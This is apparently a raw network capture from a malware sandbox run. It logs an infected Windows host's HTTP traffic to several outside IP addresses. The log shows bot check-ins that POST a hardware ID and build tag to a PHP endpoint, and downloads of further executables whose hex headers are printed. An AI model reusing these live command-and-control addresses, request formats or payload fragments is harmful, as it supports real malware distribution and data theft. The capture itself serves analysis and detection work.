00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbYgH@H@T0h 1 H@.rsrc X@.idata 0Z@ )@\@ubvmxkob.z^@xdawalmhpH@.taggant0H"@
Dec 16, 2024 15:03:24.306478024 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:24.306488991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:24.306562901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:24.306575060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:24.306586981 CET	672	IN	Data Raw: d8 08 e3 dd 10 34 5a 6e 1a 3d db 47 e3 2d 96 c6 3b bb 70 cb 84 21 33 fb 24 10 1c 0d 5f 09 34 28 c9 05 72 7d ce f9 6d 12 ca 1f ec f6 4b 83 9b eb 95 f3 bb 47 40 8a cc 1e 9f 20 cd d4 c0 46 35 68 3e 94 6a 18 38 a9 b3 eb 14 51 c6 53 9c cd 80 ad 1c 04 Data Ascii: 4Zn=G-;p!3$_4(r}mKG@ F5h>j8QSN&"`i"E]t6q"odnS<,<M[F~Y}F &!3jb<C$6bm-3U7CQa%Sb#%SGAu2o
Dec 16, 2024 15:03:24.306742907 CET	1236	IN	Data Raw: 76 45 0d 0c 57 3d 7a d6 ea 9c c8 eb b4 55 53 08 a2 df dd 6a b0 e1 ba 0a d7 45 87 6b d4 6e be ea ed 84 c6 34 05 29 c3 e2 fc e4 7b f7 20 f1 ba 15 01 85 4d 17 aa 21 55 65 d8 4d fd e2 f8 d5 df 36 a5 ca 4b 27 1a 21 d0 32 cf 33 cd 0a ec f9 ce 68 0f fd Data Ascii: vEW=zUSjEkn4){ M!UeM6K'!23hmDv'u/5`a{g8~=Ug pI@xjmX}F&DOgfCsf%}x!h$(-)i{]etzoJU5fQ"4hW[Bdh%H
Dec 16, 2024 15:03:24.306802988 CET	1236	IN	Data Raw: f7 4c d4 ba 97 22 51 ca f9 ae 5a 42 fa 32 ec f1 44 08 40 7e 98 4e 69 1f 08 9e 03 bc 14 1a 02 8c a3 04 1d b3 40 62 60 e5 58 13 a2 55 2d 22 05 58 dc 79 9c e3 ce 08 a1 16 c1 d5 8f 6a d0 9e b3 98 9d 04 ca 02 19 c1 fa 0b cd 24 41 83 ef 01 fd 9b 4b b2 Data Ascii: L"QZB2D@~Ni@b`XU-"Xyj$AK(8tl+lIgyv_(yy=3rDy+8AVvSAya)$9I29T6,M3)=E{bX53}$6s>L<}kz=J&R
Dec 16, 2024 15:03:24.306813955 CET	1236	IN	Data Raw: d5 db b2 d0 d8 e7 51 27 95 2c 69 21 c7 2b 80 ca d4 fb 67 53 9c 40 0e 55 c4 a4 d5 c5 49 ab 67 36 c4 83 96 a3 f4 21 89 16 eb c1 e0 12 9c 84 fd 6b bc 99 e8 92 0e ea 5e 35 3a 2d 5b eb 49 15 53 29 46 6a 9f 5a 47 d0 98 f7 cc 9a f5 62 69 57 ed 7a f0 67 Data Ascii: Q',i!+gS@UIg6!k^5:-[IS)FjZGbiWzg87"?9bh"}/W*wn=91xRz:{AV@)% L\|?v'i4H ul#ENw[hYuBkHb^k2?qXziq
Dec 16, 2024 15:03:24.306874037 CET	672	IN	Data Raw: f8 f9 28 07 c8 67 8b 85 c8 3a 50 0c e0 0a b1 ff ba 75 b2 25 da 92 5a 49 18 1d 70 16 fd 3f c2 07 f5 49 0b 8f 94 86 c7 14 c2 14 f7 33 43 9c 9f 7e 4c 17 3f 9f 12 62 75 c5 f2 81 64 8a 55 5b 65 d4 55 85 c9 50 fa 32 2f 54 5b 1f 8a 36 cc 74 4a 4f c4 a6 Data Ascii: (g:Pu%ZIp?I3C~L?budU[eUP2/T[6tJO5HNB'$+Ym!rwD;)2*Rk=qxl8F6.\|.V4nQQ5zH-abHxJnw3F//[}u59SX[R-i.B
Dec 16, 2024 15:03:24.426939011 CET	1236	IN	Data Raw: 06 cc 72 61 9d 47 ab 12 2e f0 71 2f 47 2f 1f 1c 93 84 89 e3 e6 d8 00 16 db 9b 80 06 ae 5e 04 c6 30 c0 c7 c5 a6 91 8b 74 34 a5 c4 8e 24 9d 05 45 01 2b 60 19 79 56 9a eb ec 61 fa b2 23 0e b6 f1 ae db 59 63 45 9b 25 4b d3 b3 26 ac 5a 5f 36 97 5e 53 Data Ascii: raG.q/G/^0t4$E+`yVa#YcE%K&Z_6^S%X&b$;CkWC)6O-iL&9%0)NCON"b\Q3E>gH_kIJf<mjhx+9nv(fptFP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50123	185.215.113.206	80	6064	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:24.679868937 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:03:26.025058031 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:03:26.028373957 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="build"stok------GHJDGDBFCBKFHJKFHCBK--
Dec 16, 2024 15:03:26.468483925 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	50124	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:25.921767950 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:03:27.279325962 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:26 GMT Content-Type: application/octet-stream Content-Length: 2776576 Last-Modified: Mon, 16 Dec 2024 13:42:20 GMT Connection: keep-alive ETag: "67602e3c-2a5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +R+`Ui` @ @.rsrc`2@.idata 8@rogrptwg):@cpllbfsp 8@.taggant@"<*@
Dec 16, 2024 15:03:27.279443979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:27.279460907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:27.279499054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:27.279510021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:27.279520988 CET	1120	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:27.279627085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:27.279650927 CET	1236	IN	Data Raw: 51 8e c3 fc 46 fc 65 4e 45 ee 4d 64 4a ef 48 12 85 e7 fd 87 36 fd 49 5b 35 5a ff ad 76 f3 44 35 25 00 4f 56 0e 23 64 44 7e fc 8e 37 46 08 ae fe 5f 67 e7 57 57 ec 4e f8 99 ef a6 dc b7 b2 5a 93 b7 9c 85 56 1d 2b ca 7d b6 f3 54 3a 06 13 86 35 0e 82 Data Ascii: QFeNEMdJH6I[5ZvD5%OV#dD~7F_gWWNZV+}T:5L7uKWOxW.TZ3cHMG@X'DmKqQM6@Kv`Pz+I/Fuxif/=1m`f?,)J,C.\pXxl&JVZUD0W[wC9LA2 \?1%R4I^AH
Dec 16, 2024 15:03:27.279661894 CET	1236	IN	Data Raw: 58 f4 af d2 0c 61 71 af aa 36 d8 84 10 f4 07 3b 9b 71 45 58 af 54 ae 07 bf 74 68 3b 31 20 4a 5a 3e c9 7d 64 3e 1a 77 df 0e 0c 49 6f 8d 7c 44 75 0c d1 70 95 51 01 4b fa da d9 cf d2 f2 48 1f e8 a9 a8 ca 92 0e f5 3c 39 72 7a 43 46 e6 f5 39 36 56 63 Data Ascii: Xaq6;qEXTth;1 JZ>}d>wIo\|DupQKH<9rzCF96Vc!08D!w6sHV6bfRfaZ ]j+OJ}v08WqZ PXs0pZTc<d~XGtP0xoqGr+qn"OL}L[
Dec 16, 2024 15:03:27.279673100 CET	1236	IN	Data Raw: 5f fc 8f 34 7b 5a 06 23 8d 73 72 17 8b 02 84 9b 68 6f b2 4a 0c 29 3c 5d 24 ee 18 a4 2b 6b 80 9b 76 bc d5 ad 04 c5 15 a3 4c 20 5a 75 f1 ca d5 3c 94 f2 c0 d4 50 40 53 46 82 2c 0d 3d 6d 1a 63 aa 42 3d 95 0d 05 11 53 1d 59 07 48 de 02 54 b8 82 05 de Data Ascii: _4{Z#srhoJ)<]$+kvL Zu<P@SF,=mcB=SYHTE]^!uJY.8bqssL2q\w0cCm]q%Rd`Nwq5O8D:k[*{K_,Oy!q\|W@h/<Q3YJH<l7593Ok
Dec 16, 2024 15:03:27.399514914 CET	1236	IN	Data Raw: 22 75 bf af d3 c7 3f 4a bd 62 9b 84 1f 1c 1f 89 8f 71 e7 05 a3 03 49 0a 29 f0 6f 30 41 1f 57 23 08 f0 43 31 4c e7 42 2c 17 89 49 4e 4d ed 42 2f 5d dd 1a cf 56 ed 8e 6e 1a 68 e8 56 07 78 5e 33 8e ee 83 35 0e ed 47 72 10 0a 4a 3f 12 f0 4b b2 4b f6 Data Ascii: "u?JbqI)o0AW#C1LB,INMB/]VnhVx^35GrJ?KKB!G4?HFaNJgS?{=,CBJ>H5QQ>"/-b\|[>o`YuqZk.ZTxI\|Ws~KN_z@HiQNFQVxx`6rcdIes#kt[9*
Dec 16, 2024 15:03:31.789336920 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:03:32.231276989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:31 GMT Content-Type: application/octet-stream Content-Length: 1796608 Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* i@Pi:@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@szaazyea@O~@jswuitsriD@.taggant0 i"H@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50125	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:26.985970020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 36 31 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1016136001&unit=246122658369
Dec 16, 2024 15:03:28.336702108 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50126	31.41.244.11	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:28.464045048 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 15:03:29.789088964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:29 GMT Content-Type: application/octet-stream Content-Length: 4457984 Last-Modified: Mon, 16 Dec 2024 13:02:12 GMT Connection: keep-alive ETag: "676024d4-440600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 30 c7 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c7 00 00 04 00 00 f0 0a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 1e c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_g(Gu20H@`D@ _rsrP r*(@.rsrcr:(@.idata r<(@ 8s>(@gveixubs@(@cjqzbotd C@.taggant00"C@
Dec 16, 2024 15:03:29.789138079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:29.789149046 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:29.789380074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:29.789391994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: o2l.2.}M]hf=RAPR]
Dec 16, 2024 15:03:29.789486885 CET	1236	IN	Data Raw: 10 a7 78 0e 12 b0 38 24 45 f0 4a 01 e9 ec 02 08 61 81 30 a9 a6 18 45 41 13 0b e8 1c 0e 5b 7d a6 22 06 05 08 15 5c c4 97 f8 9d 04 5a ef e8 66 f6 9d 3f 31 1d df cf dd 9a a6 b4 c5 12 0c 30 f0 ae 7f f5 56 cf 0b 2c d3 af 45 3d 25 ff 75 57 98 fb 6b 8f Data Ascii: x8$EJa0EA[}"\Zf?10V,E=%uWkC>8yYJlksa)}\nn~hH_c$L} >9b6,vNze]l[V x1=+)B?yL\0/jiDf=E~L]Ux!HZ~
Dec 16, 2024 15:03:29.789506912 CET	1236	IN	Data Raw: b1 84 c7 c7 7e 15 5d f0 49 00 aa 73 59 6d 53 aa 9a 30 f1 96 04 2f 22 31 63 ac 0f aa 81 27 68 f1 9f e2 80 82 7b 3c 90 02 93 e0 fd b2 16 6a 7c 36 e6 b0 c3 43 9a 2a 28 4c 79 05 72 89 95 b0 15 9b 20 bd fc 4d 1c 8a f6 82 a1 06 de c3 79 6e b9 5c ca 78 Data Ascii: ~]IsYmS0/"1c'h{<j\|6C*(Lyr Myn\x\|8&BK_w,/QNy;P"EN_n~)(cBp.5BB5vw&@<H@%:8R\mZoaI[5;%5L]9A~K1]8N@7
Dec 16, 2024 15:03:29.789520025 CET	896	IN	Data Raw: 23 0c e0 5f fe d7 ab d0 b3 2e 94 8b 76 81 68 c9 ea 06 b4 cb bd 41 8a 98 5b 3c ee 7a 51 bf 61 cc 62 1e 0f 5d 53 6c 59 7a 06 af 7d 71 0e 80 3a 24 eb 37 23 13 23 3b 18 0c 26 bf 23 04 96 e5 4c 58 40 a8 a6 7d 97 18 6c 02 79 3f da bd 76 28 61 ef e7 48 Data Ascii: #_.vhA[<zQab]SlYz}q:$7##;&#LX@}ly?v(aH?W.>]3.G:cEcNO}}j;m6@<;\,i_WX6!\|8C{z3<A4w@dCM4D9j;U]m^&3kFK}G5dLOq"j
Dec 16, 2024 15:03:29.789532900 CET	1236	IN	Data Raw: 84 08 23 cf 16 cf f2 73 d5 7f f3 c2 61 63 f2 4d 99 01 50 eb 4b b1 13 4b 91 08 3c 58 60 49 9e 81 64 b0 fc 6a 11 bf ec 37 28 b1 fd eb f9 02 9a 1e 29 10 b4 5b 85 26 78 1a ca 04 62 ae 97 5d 99 34 09 bc 96 40 f1 84 74 70 8d 7c d1 66 a9 37 5f 45 06 4c Data Ascii: #sacMPKK<X`Idj7()[&xb]4@tp\|f7_ELtP]lK1BRMxDa95)v{`3E>zfc]>O3<f2fCL%.kVu~E?xq^~#Mcm\|L{e?}g\|B>oA,6
Dec 16, 2024 15:03:29.789546013 CET	1236	IN	Data Raw: 5e 35 01 14 59 5c c1 61 16 3b 62 14 95 dd fc 23 5b 68 e2 4c 2f 30 69 d3 5e f9 03 a2 59 2d 44 fd 76 df 3d c2 70 7a 14 54 80 1d 04 16 3b 4b 55 71 ae 67 6b 81 0f 23 b5 06 dc 6f 20 53 b2 f5 41 37 06 63 c8 19 f1 15 99 10 03 34 40 6d 5c cb 0e aa 67 1f Data Ascii: ^5Y\a;b#[hL/0i^Y-Dv=pzT;KUqgk#o SA7c4@m\g}(AyRGQ$/\6i*Ox{V\|g^p2HR#Cy{n5!nLF#LB#yKnym'!L=c=w._jyp=$1c Pno_3>BBAs[2Vc
Dec 16, 2024 15:03:29.908830881 CET	1236	IN	Data Raw: 65 70 fc 69 76 07 73 fb 65 f2 1e 7c e3 33 23 02 b0 79 8b a1 79 78 73 45 0a 1c 09 43 e6 62 65 90 33 20 da 1c f6 34 0d 6f e6 dd 9d da e3 90 0f 74 3e 6f 38 22 29 d3 fa b9 13 09 7b d4 e2 13 0b cb fd 3e 0d b8 58 d7 3e 2d e3 98 98 09 7b eb 42 3d 98 93 Data Ascii: epivse\|3#yyxsECbe3 4ot>o8"){>X>-{B=vk?i!6Yz3,kS%riO^R{z\|=awQph~k6l49t@@t_{iBKeUrSD=I5Q3wplpfRCPL\|IG8QaM

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	50127	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:32.853653908 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:03:34.198642015 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:03:34.204555035 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIID Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 